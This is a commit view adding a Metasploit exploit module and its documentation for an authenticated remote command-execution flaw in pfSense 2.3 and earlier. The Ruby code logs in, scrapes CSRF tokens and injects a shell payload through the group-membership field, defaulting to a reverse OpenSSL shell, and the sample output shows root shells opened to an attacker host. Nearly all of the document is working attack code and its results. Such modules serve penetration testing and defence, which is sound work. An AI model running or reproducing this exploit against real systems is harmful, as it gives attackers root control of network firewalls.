Land #9212, pfsense group member exec module
commit
244acc48b6
|
@ -0,0 +1,114 @@
|
|||
## Description
|
||||
|
||||
This module exploits a vulnerability in pfSense version 2.3 and before which allows an authenticated user to execute arbitrary operating system commands
|
||||
as root.
|
||||
|
||||
This module has been tested successfully on version 2.3-RELEASE, and 2.2.6.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully on version CE 2.3 amd64, and 2.2.6 amd64.
|
||||
|
||||
Installer:
|
||||
|
||||
* [pfSense CE 2.3](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-CE-2.3-RELEASE-amd64.iso.gz)
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Do: `use exploit/unix/http/pfsense_group_member_exec`
|
||||
3. Do: `set rhost [IP]`
|
||||
4. Do: `set username [username]`
|
||||
5. Do: `set password [password]`
|
||||
6. Do: `exploit`
|
||||
7. You should get a session
|
||||
|
||||
|
||||
## Sample Output
|
||||
|
||||
### 2.3-Release amd64
|
||||
|
||||
```
|
||||
[*] Processing pfsense.rc for ERB directives.
|
||||
resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec
|
||||
resource (pfsense.rc)> set rhost 2.2.2.2
|
||||
rhost => 2.2.2.2
|
||||
resource (pfsense.rc)> set verbose true
|
||||
verbose => true
|
||||
resource (pfsense.rc)> set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (pfsense.rc)> check
|
||||
[*] 2.2.2.2:443 The target service is running, but could not be validated.
|
||||
resource (pfsense.rc)> exploit
|
||||
[*] Started reverse double SSL handler on 1.1.1.1:4444
|
||||
[*] CSRF Token for login: sid:a11be2ee5849522898e2c1ff23739b35c76435bf,1510545358;ip:d70924f708189287bdee1e08d7fa83758a0e1f68,1510545358
|
||||
[*] Successful Authentication
|
||||
[*] pfSense Version Detected: 2.3-RELEASE
|
||||
[+] Login Successful
|
||||
[*] CSRF Token for group creation: sid:823a6f854ad1bae307c2959e95ccc98a8d72f2c1,1510545361
|
||||
[*] Manual removal of group aJPEfJLDKT is required.
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo 5ER6rqZOjOSGjRml;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket A
|
||||
[*] A: "5ER6rqZOjOSGjRml\n"
|
||||
[*] Matching...
|
||||
[*] B is input...
|
||||
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:25824) at 2017-11-19 08:15:00 -0500
|
||||
|
||||
whoami
|
||||
root
|
||||
uname -a
|
||||
FreeBSD . 10.3-RELEASE FreeBSD 10.3-RELEASE #6 05adf0a(RELENG_2_3_0): Mon Apr 11 18:52:07 CDT 2016 root@ce23-amd64-builder:/builder/pfsense-230/tmp/obj/builder/pfsense-230/tmp/FreeBSD-src/sys/pfSense amd64
|
||||
```
|
||||
### 2.2.6 amd64
|
||||
|
||||
```
|
||||
[*] Processing pfsense.rc for ERB directives.
|
||||
resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec
|
||||
resource (pfsense.rc)> set rhost 3.3.3.3
|
||||
rhost => 3.3.3.3
|
||||
resource (pfsense.rc)> set verbose true
|
||||
verbose => true
|
||||
resource (pfsense.rc)> set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (pfsense.rc)> check
|
||||
[*] 3.3.3.3:443 The target is not exploitable.
|
||||
resource (pfsense.rc)> exploit
|
||||
[*] Started reverse double SSL handler on 1.1.1.1:4444
|
||||
[*] CSRF Token for login: sid:bb80526160efcf79d8660d1a31f6bf88e154b38e,1511091712;ip:42d05b73fc9b2d31c54333a60fd308dfbd4da97a,1511091712
|
||||
[*] Successful Authentication
|
||||
[*] pfSense Version Detected: 2.2.6-RELEASE
|
||||
[+] Login Successful
|
||||
[*] CSRF Token for group creation: sid:d49a6dc5b7e98c92a7772c605af3586a1f3adc75,1511091715
|
||||
[*] Manual removal of group okUPTvzysL is required.
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo 7hKg6oD9DkwXYRtt;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket B
|
||||
[*] B: "7hKg6oD9DkwXYRtt\n"
|
||||
[*] Matching...
|
||||
[*] A is input...
|
||||
[*] Command shell session 1 opened (1.1.1.1:4444 -> 3.3.3.3:34403) at 2017-11-19 06:42:00 -0500
|
||||
|
||||
whoami
|
||||
root
|
||||
uname -a
|
||||
FreeBSD pfSense.localdomain 10.1-RELEASE-p25 FreeBSD 10.1-RELEASE-p25 #0 c39b63e(releng/10.1)-dirty: Mon Dec 21 15:20:13 CST 2015 root@pfs22-amd64-builder:/usr/obj.RELENG_2_2.amd64/usr/pfSensesrc/src.RELENG_2_2/sys/pfSense_SMP.10 amd64
|
||||
```
|
||||
|
||||
## Cleanup
|
||||
|
||||
Manual cleanup is required. The group name is printed during exploitation.
|
||||
|
||||
## Logging
|
||||
|
||||
Logging into the web interface writes a line to the system out on the console similar to: `pfSense php-fpm[72834]: /index.php: Succeessful login for user 'admin' from [ip]`
|
|
@ -0,0 +1,189 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'pfSense authenticated group member RCE',
|
||||
'Description' => %q(
|
||||
pfSense, a free BSD based open source firewall distribution,
|
||||
version <= 2.3.1_1 contains a remote command execution
|
||||
vulnerability post authentication in the system_groupmanager.php page.
|
||||
Verified against 2.2.6 and 2.3.
|
||||
),
|
||||
'Author' =>
|
||||
[
|
||||
's4squatch', # discovery
|
||||
'h00die' # module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '43128' ],
|
||||
[ 'URL', 'https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Privileged' => false,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
'PAYLOAD' => 'cmd/unix/reverse_openssl'
|
||||
},
|
||||
'Arch' => [ ARCH_CMD ],
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'perl openssl'
|
||||
}
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic Target', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Nov 06 2017'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
|
||||
OptString.new('PASSWORD', [ false, 'Password to login with', 'pfsense']),
|
||||
Opt::RPORT(443)
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def login
|
||||
res = send_request_cgi(
|
||||
'uri' => '/index.php',
|
||||
'method' => 'GET'
|
||||
)
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
|
||||
|
||||
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
|
||||
vprint_status("CSRF Token for login: #{csrf}")
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => '/index.php',
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'__csrf_magic' => csrf,
|
||||
'usernamefld' => datastore['USERNAME'],
|
||||
'passwordfld' => datastore['PASSWORD'],
|
||||
'login' => ''
|
||||
}
|
||||
)
|
||||
unless res
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
|
||||
end
|
||||
if res.code == 302
|
||||
vprint_status('Successful Authentication')
|
||||
return res.get_cookies
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def detect_version(cookie)
|
||||
res = send_request_cgi(
|
||||
'uri' => '/index.php',
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie
|
||||
)
|
||||
unless res
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
|
||||
end
|
||||
/Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
|
||||
if version
|
||||
print_status("pfSense Version Detected: #{version}")
|
||||
return Gem::Version.new(version)
|
||||
end
|
||||
# If the device isn't fully setup, you get stuck at redirects to wizard.php
|
||||
# however, this does NOT stop exploitation strangely
|
||||
print_error("pfSens Version Not Detected or wizard still enabled.")
|
||||
Gem::Version.new('0.0')
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
'uri' => '/index.php',
|
||||
'method' => 'GET'
|
||||
)
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
|
||||
if /Login to pfSense/ =~ res.body
|
||||
Exploit::CheckCode::Detected
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
begin
|
||||
cookie = login
|
||||
version = detect_version(cookie)
|
||||
vprint_good('Login Successful')
|
||||
res = send_request_cgi(
|
||||
'uri' => '/system_groupmanager.php',
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'act' => 'new'
|
||||
}
|
||||
)
|
||||
|
||||
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
|
||||
vprint_status("CSRF Token for group creation: #{csrf}")
|
||||
|
||||
group_name = rand_text_alpha(10)
|
||||
post_vars = {
|
||||
'__csrf_magic' => csrf,
|
||||
'groupname' => group_name,
|
||||
'description' => '',
|
||||
'members[]' => "0';#{payload.encoded};'",
|
||||
'groupid' => '',
|
||||
'save' => 'Save'
|
||||
}
|
||||
if version >= Gem::Version.new('2.3')
|
||||
post_vars = post_vars.merge('gtype' => 'local')
|
||||
elsif version <= Gem::Version.new('2.3') # catch for 2.2.6. left this elsif for easy expansion to other versions as needed
|
||||
post_vars = post_vars.merge(
|
||||
'act' => '',
|
||||
'gtype' => '',
|
||||
'privid' => ''
|
||||
)
|
||||
end
|
||||
send_request_cgi(
|
||||
'uri' => '/system_groupmanager.php',
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie,
|
||||
'vars_post' => post_vars,
|
||||
'vars_get' => {
|
||||
'act' => 'edit'
|
||||
}
|
||||
)
|
||||
print_status("Manual removal of group #{group_name} is required.")
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue